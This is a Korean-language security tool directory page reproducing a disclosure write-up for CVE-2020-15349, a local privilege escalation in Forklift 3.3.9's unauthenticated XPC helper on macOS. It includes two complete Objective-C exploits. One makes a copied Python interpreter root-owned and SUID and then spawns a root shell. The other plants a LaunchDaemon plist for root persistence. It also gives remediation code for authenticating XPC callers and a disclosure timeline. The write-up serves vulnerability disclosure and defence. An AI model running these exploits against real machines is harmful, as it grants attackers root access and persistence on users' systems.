Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
도구/GitHubGitHub/traxes/forklift_lpe
Privilege EscalationVulnerability AnalysisExploitationLearning & EducationBinary Exploitation
GitHubtraxes/forklift_lpe

Forklift_LPE

CVE-2020-15349 취약점 설명

저장소 보기
1015년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

Forklift 3.3.9 로컬 권한 상승

Forklift를 설치하면 com.binarynights.ForkLiftHelper라는 새로운 도우미가 Mac OS X용으로 /Library/PrivilegedHelperTools/ 디렉토리에 자동 설치됩니다. XPC 메시지를 처리하는 이 도우미를 분석한 결과 Mac OS X에서 사용자 권한을 root로 상승시키는 여러 가지 방법이 발견되었습니다.

XPC 호출을 수락할 때 기본적으로 HelperTool listener:shouldAcceptNewConnection, 즉 (BOOL)listener:(NSXPCListener *)listener shouldAcceptNewConnection:(NSXPCConnection *)connection 함수가 호출됩니다. 이 함수는 XPC 연결 설정의 초기 단계를 수행하는 데 사용됩니다. 일반적으로 이 함수는 호출자에 대한 인증을 수행하지만, com.binarynights.ForkLiftHelper의 함수는 인증 검사를 구현하지 않습니다. 따라서 XPC를 통해 노출된 모든 함수를 인증 없이 호출할 수 있습니다.

다음 함수들이 XPC를 통해 호출자에게 노출됩니다:

root@kitploit:~
@protocol _TtP4main21ForkLiftHelperProtcol_
- (void)changePermissions:(NSString *)arg1 permissions:(long long)arg2 reply:(void (^)(NSError *))arg3;
- (void)changeOwner:(NSString *)arg1 owner:(long long)arg2 group:(long long)arg3 reply:(void (^)(NSError *))arg4;
- (void)calculateDirectorySize:(NSString *)arg1 reply:(void (^)(NSNumber *, NSError *))arg2;
- (void)createDirectory:(NSString *)arg1 reply:(void (^)(NSError *))arg2;
- (void)deleteItem:(NSString *)arg1 reply:(void (^)(NSError *))arg2;
- (void)moveItem:(NSString *)arg1 targetPath:(NSString *)arg2 reply:(void (^)(NSError *))arg3;
- (void)copyItemAbort:(NSString *)arg1;
- (void)copyItemProgress:(NSString *)arg1 reply:(void (^)(NSNumber *, NSError *))arg2;
- (void)copyItem:(NSString *)arg1 targetPath:(NSString *)arg2 UUID:(NSString *)arg3 reply:(void (^)(NSError *))arg4;
- (void)moveToTrash:(NSString *)arg1 reply:(void (^)(NSError *))arg2;
- (void)getHelperVersion:(void (^)(NSString *))arg1;
@end

Setuid 악용

이 도우미를 악용하는 첫 번째 방법은 다음과 같습니다:

1단계: 인터프리터 대상 chown

예를 들어, Python 인터프리터를 사용자가 제어할 수 있는 디렉토리에 복사하고 changeOwner XPC 함수를 @\"<path>\" owner:0 group:0 매개변수로 호출합니다. 이렇게 하면 Python 인터프리터의 소유권이 root로 변경됩니다.

2단계: SUID 플래그 설정

두 번째로, changePermissions 함수에 @\"<path>\" permissions:2541 매개변수로 XPC 요청을 보내 인터프리터에 SUID 비트를 설정할 수 있습니다. 권한 2541은 8진수로 4755를 나타내며, 이는 바이너리에 SUID 플래그를 설정합니다.

3단계: LPE

다음 명령은 root로 셸을 실행합니다:

root@kitploit:~
$/tmp/python_copied -c 'import pty; import os; os.setuid(0);pty.spawn("/bin/bash")'
# id
uid=0(root) [...]

전체 익스플로잇

먼저 /tmp에 python_copied라는 이름으로 Python 인터프리터가 복사되어 있는지 확인하세요. 다음 익스플로잇은 이 LPE를 보여줍니다:

root@kitploit:~
//
//  main.m
//  build
//  gcc -framework Foundation exploit.m -o exploit
//  
//

#import <Foundation/Foundation.h>

static NSString* kXPCHelperMachServiceName = @"com.binarynights.ForkLiftHelper";

// The protocol that Forklift will vend as its XPC API.
@protocol _TtP4main21ForkLiftHelperProtcol_
- (void)changePermissions:(NSString *)arg1 permissions:(long long)arg2 reply:(void (^)(NSError *))arg3;
- (void)changeOwner:(NSString *)arg1 owner:(long long)arg2 group:(long long)arg3 reply:(void (^)(NSError *))arg4;
- (void)calculateDirectorySize:(NSString *)arg1 reply:(void (^)(NSNumber *, NSError *))arg2;
- (void)createDirectory:(NSString *)arg1 reply:(void (^)(NSError *))arg2;
- (void)deleteItem:(NSString *)arg1 reply:(void (^)(NSError *))arg2;
- (void)moveItem:(NSString *)arg1 targetPath:(NSString *)arg2 reply:(void (^)(NSError *))arg3;
- (void)copyItemAbort:(NSString *)arg1;
- (void)copyItemProgress:(NSString *)arg1 reply:(void (^)(NSNumber *, NSError *))arg2;
- (void)copyItem:(NSString *)arg1 targetPath:(NSString *)arg2 UUID:(NSString *)arg3 reply:(void (^)(NSError *))arg4;
- (void)moveToTrash:(NSString *)arg1 reply:(void (^)(NSError *))arg2;
- (void)getHelperVersion:(void (^)(NSString *))arg1;
@end

int main(int argc, const char * argv[]) {
    @autoreleasepool {
        
        NSString*  _serviceName = kXPCHelperMachServiceName;

        NSXPCConnection* _agentConnection = [[NSXPCConnection alloc] initWithMachServiceName:_serviceName options:4096];
        [_agentConnection setRemoteObjectInterface:[NSXPCInterface interfaceWithProtocol:@protocol(_TtP4main21ForkLiftHelperProtcol_)]];
        [_agentConnection resume];

        //        run user script as root/
        [[_agentConnection remoteObjectProxyWithErrorHandler:^(NSError* error) {
            (void)error;
            NSLog(@"Connection Failure");
        }] changeOwner:@"/tmp/python_copied" owner:0 group:0 reply:^(NSError * err){
            NSLog(@"Reply, %@", err);
        }];
        [[_agentConnection remoteObjectProxyWithErrorHandler:^(NSError* error) {
            (void)error;
            NSLog(@"Connection Failure");
        }] changePermissions:@"/tmp/python_copied" permissions:2541 reply:^(NSError * err){
            NSLog(@"Reply, %@", err);
        }];
        
        NSLog(@"Done!");
    }
    return 0;
}

LaunchAgent 악용

이 도우미를 악용하는 두 번째 방법은 다음과 같습니다:

새로운 Launch Agent 작성

moveItem XPC 호출 덕분에 모든 항목을 root로 이동할 수 있습니다. 따라서 /tmp 디렉토리에 plist 파일을 작성한 후 /Library/LaunchDaemons/ 디렉토리로 복사할 수 있습니다. moveItem 함수에는 다음 매개변수가 사용됩니다: @\"/tmp/com.sample.Load.plist\" targetPath:@\"/Library/LaunchDaemons/com.sample.Load.plist\"

전체 익스플로잇

다음 코드는 재시작 시 트리거되는 새로운 launch agent를 자동으로 추가합니다:

root@kitploit:~
//
//  main.m
//  build
//  gcc -framework Foundation exploit.m -o exploit
//

#import <Foundation/Foundation.h>

static NSString* kXPCHelperMachServiceName = @"com.binarynights.ForkLiftHelper";

// The protocol that Forklift will vend as its XPC API.
@protocol _TtP4main21ForkLiftHelperProtcol_
- (void)changePermissions:(NSString *)arg1 permissions:(long long)arg2 reply:(void (^)(NSError *))arg3;
- (void)changeOwner:(NSString *)arg1 owner:(long long)arg2 group:(long long)arg3 reply:(void (^)(NSError *))arg4;
- (void)calculateDirectorySize:(NSString *)arg1 reply:(void (^)(NSNumber *, NSError *))arg2;
- (void)createDirectory:(NSString *)arg1 reply:(void (^)(NSError *))arg2;
- (void)deleteItem:(NSString *)arg1 reply:(void (^)(NSError *))arg2;
- (void)moveItem:(NSString *)arg1 targetPath:(NSString *)arg2 reply:(void (^)(NSError *))arg3;
- (void)copyItemAbort:(NSString *)arg1;
- (void)copyItemProgress:(NSString *)arg1 reply:(void (^)(NSNumber *, NSError *))arg2;
- (void)copyItem:(NSString *)arg1 targetPath:(NSString *)arg2 UUID:(NSString *)arg3 reply:(void (^)(NSError *))arg4;
- (void)moveToTrash:(NSString *)arg1 reply:(void (^)(NSError *))arg2;
- (void)getHelperVersion:(void (^)(NSString *))arg1;
@end

int main(int argc, const char * argv[]) {
    @autoreleasepool {
        NSString* my_plist = @"<?xml version=\"1.0\" encoding=\"UTF-8\"?>"
        "<!DOCTYPE plist PUBLIC \"-//Apple Computer//DTD PLIST 1.0//EN\" \"http://www.apple.com/DTDs/PropertyList-1.0.dtd\">"
        "<plist version=\"1.0\">"
        "<dict>"
        "  <key>Label</key>"
        "  <string>com.sample.Load</string>"
        "  <key>ProgramArguments</key>"
        "  <array>"
        "      <string>/bin/zsh</string>"
      "      <string>-c</string>"
      "      <string>touch /Library/foobar.txt</string>"
        "  </array>"
        "    <key>RunAtLoad</key>"
        "    <true/>"
        "</dict>"
        "</plist>";
        
        [my_plist writeToFile:@"/tmp/com.sample.Load.plist" atomically:YES encoding:NSASCIIStringEncoding error:nil];
        
        NSString*  _serviceName = kXPCHelperMachServiceName;

        NSXPCConnection* _agentConnection = [[NSXPCConnection alloc] initWithMachServiceName:_serviceName options:4096];
        [_agentConnection setRemoteObjectInterface:[NSXPCInterface interfaceWithProtocol:@protocol(_TtP4main21ForkLiftHelperProtcol_)]];
        [_agentConnection resume];

        //        run user script as root/
        [[_agentConnection remoteObjectProxyWithErrorHandler:^(NSError* error) {
            (void)error;
            NSLog(@"Connection Failure");
        }] moveItem:@"/tmp/com.sample.Load.plist" targetPath:@"/Library/LaunchDaemons/com.sample.Load.plist" reply:^(NSError * err){
            NSLog(@"Reply, %@", err);
        }];
        NSLog(@"Done!");
    }
    return 0;
}

권장 사항

XPC 도우미를 호출할 때 인증을 강제하는 것이 좋습니다.

이러한 인증 검사에는 다음이 포함되어야 합니다:

  • 호출자가 유효한 서명된 애플리케이션일 것
  • 호출 애플리케이션이 DYLIB 주입 공격에 대해 잘 보호되어 있을 것 (runtime 플래그)
  • 호출 애플리케이션이 소프트웨어 회사의 올바른 TeamID를 가지고 있을 것

인증 검사에 대한 훌륭한 참고 자료는 [1] 출처에서 찾을 수 있습니다.

다음 shouldAcceptNewConnecton 함수 예제는 올바른 인증 검사의 다양한 단계를 보여줍니다:

root@kitploit:~
@interface NSXPCConnection(PrivateAuditToken)

// This property exists, but it's private. Make it available:
@property (nonatomic, readonly) audit_token_t auditToken;

@end

// In the NSXPCListenerDelegate:
- (BOOL)listener:(NSXPCListener *)listener shouldAcceptNewConnection:(NSXPCConnection *)connection {
   audit_token_t auditToken = connection.auditToken;
   NSData *tokenData = [NSData dataWithBytes:&auditToken length:sizeof(audit_token_t)];
   NSDictionary *attributes = @{(__bridge NSString *)kSecGuestAttributeAudit : tokenData};
   SecCodeRef code = NULL;
   if (SecCodeCopyGuestWithAttributes(NULL, (__bridge CFDictionaryRef)attributes, kSecCSDefaultFlags, &code) != errSecSuccess) {
       return NO;
   }
   // Before checking the requirement make sure that code signing flags
   // CS_HARD and CS_KILL are set. Dynamic code signature checks can only
   // check the code pages already swapped into memory, so make sure that
   // no malicious code can be loaded at a later time. You may want to
   // disable this check in debug builds.
   CFDictionaryRef csInfo = NULL;
   if (SecCodeCopySigningInformation(code, kSecCSDynamicInformation, &csInfo) != errSecSuccess) {
       return NO;
   } else {
       uint32_t csFlags = [((__bridge NSDictionary *)csInfo)[(__bridge NSString *)kSecCodeInfoStatus] intValue];
       CFRelease(csInfo);
       const uint32_t cs_hard = 0x100;         // don't load invalid pages
       const uint32_t cs_kill = 0x200;         // kill process if page is invalid
       const uint32_t cs_restrict = 0x800;     // prevent debugging
       const uint32_t cs_require_lv = 0x2000;  // Library Validation
       const uint32_t cs_runtime = 0x10000;    // hardened runtime
       if ((csFlags & (cs_hard | cs_kill)) != (cs_hard | cs_kill)) {
           // add all flags to check which are in your code signature!
           // In particular, we recommend cs_require_lv and cs_restrict.
           return NO;    // Not accepted because it can be tampered with
       }
   }

   NSString *requirementString = @"anchor apple generic and certificate leaf[subject.OU] = \"MyTeamIdentifier\"";
   SecRequirementRef requirement = NULL;

   // Check at least the peer's TeamID, e.g.
   // "anchor apple generic and certificate leaf[subject.OU] = MyTeamIdentifier"
   if (SecRequirementCreateWithString((__bridge CFStringRef)requirementString, kSecCSDefaultFlags, &requirement) != errSecSuccess) {
       abort(); // error in requirement string
   }

   OSStatus status = SecCodeCheckValidityWithErrors(code, kSecCSDefaultFlags, requirement, NULL);
   CFRelease(code);
   CFRelease(requirement);
   if (status != errSecSuccess) {
       return NO;
   }

   // further initialization of connection goes here...

   return YES;
}

공개 타임라인

  • 08.06.2020 이메일 주소를 위한 초기 연락
  • 08.06.2020 동일한 이메일을 암호화되지 않은 상태로 보내라는 응답
  • 09.06.2020 암호화에 대한 후속 질문
  • 10.06.2020 암호화된 공개 승인
  • 12.06.2020 LPE 공개
  • 15.06.2020 CVE-2020-15349 (LPE) 부분 수정
  • 16.06.2020 Entitlements LPE 공개
  • 19.06.2020 CVE-2020-15349의 부분 수정만 공개
  • 19.08.2020 CVE-2020-27192 수정 및 CVE-2020-15349 최종 수정

참고 자료

[1] - https://blog.obdev.at/what-we-have-learned-from-a-vulnerability/

도구 다운로드